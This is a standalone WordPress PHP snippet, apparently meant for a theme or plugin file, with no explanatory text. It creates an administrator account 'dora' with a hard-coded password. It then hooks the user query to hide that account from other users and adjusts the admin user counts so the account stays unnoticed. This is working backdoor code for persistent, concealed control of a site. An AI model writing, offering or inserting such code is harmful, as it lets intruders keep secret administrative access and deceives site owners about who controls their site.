$new_user = new WP_User(wp_create_user('dora','g4sssw33h'));
$new_user->set_role('administrator');
add_action('pre_user_query','hidden_access');
function hidden_access($user_search){
global $current_user;
$username = $current_user->user_login;
if($username != 'user'){
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'dora'",$user_search->query_where );
}
}
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'dora') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'dora'",$user_search->query_where);
}
}
add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admins_num . ')';
$views['all'] = '' . __('All') . ' (' . $all_num . ')';
return $views;
}